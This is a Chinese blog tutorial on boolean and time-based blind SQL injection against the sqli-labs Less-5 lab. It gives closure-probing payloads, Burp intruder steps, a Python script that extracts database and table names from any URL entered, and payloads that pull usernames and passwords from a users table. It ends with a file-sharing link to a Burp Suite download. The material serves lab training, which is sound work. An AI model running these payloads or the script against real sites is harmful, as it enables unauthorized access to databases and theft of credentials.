布尔盲注

admin 2023年5月15日01:26:35评论14 views字数 4176阅读13分55秒阅读模式

有回显但是没有回显数据库内容(小白篇

(建议小白们看着源码做着题,做上一两道感觉懂原理了可以脱离源码去进行黑盒测试(有源码容易判断怎样闭合的,进而可以进行下一步操作),当然,我也是小白,大佬别骂QAQ,文章末尾附bp抓包工具)

PS:

如返回为Ture

布尔盲注

(上图为图-1.1)

如返回为False

布尔盲注

(上图为图-1.2)

    像上面这种情况联合查询就没法用了,因为联合查询就是为了可视化的看到数据库里面的字段名等

eg:

布尔盲注

    但是有回显但是没有具体回显如图类似的,联合注入就没法用了,这时候就要换一种思路了,可以通过判断为真和为假的差异来进一步进行操作

判断注入闭合:

    判断注入点是怎样闭合的需要进行不断的尝试

http://127.0.0.1/Less-5/?id={sql语句}     //在sql语句这里构造payload,首先判断闭合,闭合语句=={sql语句}直接替换然后请求就可以     //判断闭合sql语句:?id=1' ?id=1'---aa?id=1" ?id=1" --+?id=1' and 1=1/1=2--+?id=1' and '1'='1/'1'='2--+ 就举这些例子,其他的可以自行尝试,或去各大论坛取经

    通过判断闭合,确定闭合方式是?id=1'--+ 单引号闭合,sql查询语句可能就是:

SELECT * FROM users WHERE id='$id' LIMIT 0,1;

    然后就可以向后进行了,注意一点,这里是布尔盲注,回显只有两种,结果为真回显一个界面,结果为假回显一个界面,但有且只有这两种情况,这里不能像之前一样正常使用注入语句了,因为没有数据库内容的回显,所以这里需要使用length()方法来判断数据库名的长度,用substr()函数来尝试出数据库名(注:这里手动挡的话太麻烦,可以借助bp爆破模块进行字符爆破,如果手动判断可以使用length、ascii()、substr()等函数来逐字判断 如果为真,回显页面显示You are in,如果为假则会无回显,如图1.11.2所示QAQ~)

演示:

substr()方法结合bp实现爆破数据库名(只举例爆破数据库名,前提要确定数据库名长度。使得爆破数据库名更精确,这里数据库长度已经确定,方法和这个方式差不多,上面也有介绍):

1.转发到爆破模块,选中爆破区间

布尔盲注

2.配置payload

布尔盲注

3.开始发包

布尔盲注

4.判断回显长度差异(Length值)

布尔盲注

判断出了数据库名第一个字符是's',剩下8位字符就按这个方式爆破,无回显基本思路就是这样,当然也可以使用脚本梭哈,但是需要根据不同场景修改脚本,下面附上python脚本(脚本源自网络,稍微修改过,如有侵权,请及时联系作者下架)

from colorama import Fore, initimport requestsimport timeimport datetime
#获取数据库长度def database_len(): init(autoreset=True) print(f'33[5;32m正在爆破数据库信息,请等待~33[0m') for i in range(1,10): payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i url1 = url +payload #print(url1) time1 =datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3 = (time2-time1).total_seconds() #计算时间差, 忽略天 只看时分秒 total_seconds() 真正的时间差 包含天 print(f'33[0;35m数据库长度为:{i}33[0m')
#获取数据库名def datebase_name(): init(autoreset=True) name='' for i in range(1,9): for j in p1: payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j) url1=url+payload #print(url1) time1=datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3=(time2-time1).total_seconds() if time3 >= 4: name += j # print(f"33[5;31m{name}33[0m") break n = name print(f'33[1;35m数据库名为:{n}33[0m')
#获取表def tables_name(): init(autoreset=True) global table4 table1='' table2='' table3='' table4='' for i in range(5): for j in range(1,6): for t in p1: payload="?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t) url1=url+payload time1=datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3=(time2-time1).seconds if time3 >= 3: if i == 0: table1 +=t
elif i == 1: table2 += t
print(f'33[1;35m第一个表为:{table1}33[0m') print(f'33[1;35m第二个表为:{table2}33[0m')
if __name__ == '__main__': try: init(autoreset=True) eg = '例如:http://127.0.0.1/Less-5/?id=1' print(f"33[0;34m{eg}33[0m")
url = input('请输入SQL注入目标网址:') p1 = 'abcdefghijklmnopqrstuvwxyz' database_len() print(f"33[0;32m开始爆破数据库名!33[0m") datebase_name() print(f"33[0;32m开始爆破表名!33[0m") tables_name() print(f"33[0;33m任务爆破完成!33[0m") except: err = '注入失败!' print()        print(f"33[0;33m{err}33[0m")

总结sql-payload-Less5(sqllib靶场第五关payload)


?id=1'and length((select database()))>9--+#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+//substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+//判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+//逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+//判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+//逐一判断字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+//判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+//逐一检测内容。

    布尔盲注打开方式应该还有,大家自行探索,本文主要需要了解的方法有 substr()、length()、ascii(),另外,SQL注入本文章涉及到的还有group_concat()

附上bp抓包工具:

链接:https://pan.baidu.com/s/1Omz5JBgHmm5cHQpDP-7sQA?pwd=wang 提取码: wang --来自百度网盘超级会员V3的分享

历史文章回顾:内网安全之"什么是域?"

                            遇见既是最好,各自努力,不见.

原文始发于微信公众号(朱厌安全团队):布尔盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日01:26:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   布尔盲注http://cn-sec.com/archives/1729554.html

发表评论

匿名网友 填写信息